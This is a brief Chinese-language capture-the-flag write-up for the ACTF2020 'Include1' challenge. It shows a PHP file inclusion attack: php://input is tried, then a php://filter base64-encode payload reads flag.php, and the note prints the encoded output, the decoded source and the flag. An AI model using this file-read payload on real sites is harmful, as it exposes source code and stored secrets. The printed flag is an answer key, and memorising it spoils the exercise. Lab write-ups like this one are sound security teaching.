[ACTF2020 新生赛]Include1

1.打开环境，看到tips点击，看到url有/?file=flag.php，猜测文件包含

文件包含可以用php伪协议攻击，查看文件

先用php://input试试

payload为/?file=php://input

提示

2.可能php://input被过滤

还有别的伪协议，比如 "php://filter"伪协议" 来进行包含。

当它与包含函数结合时，php://filter流会被当作php文件执行。所以我们一般对其进行编码，阻止其不执行。从而导致任意文件读取。

构造Payload:?file=php://filter/convert.base64-encode/resource=flag.php

发送请求得到base64编码后的flag.php文件源码:

PD9waHAKZWNobyAiQ2FuIHlvdSBmaW5kIG91dCB0aGUgZmxhZz8iOwovL2ZsYWd7ZTM3MmYwMzUtZmE5OC00OGU0LTk4MjItYTRhOTAwYjAxYjU3fQo=

进行base64解码出来

<?php
echo "Can you find out the flag?";
//flag{e372f035-fa98-48e4-9822-a4a900b01b57}

3.考察了php伪协议漏洞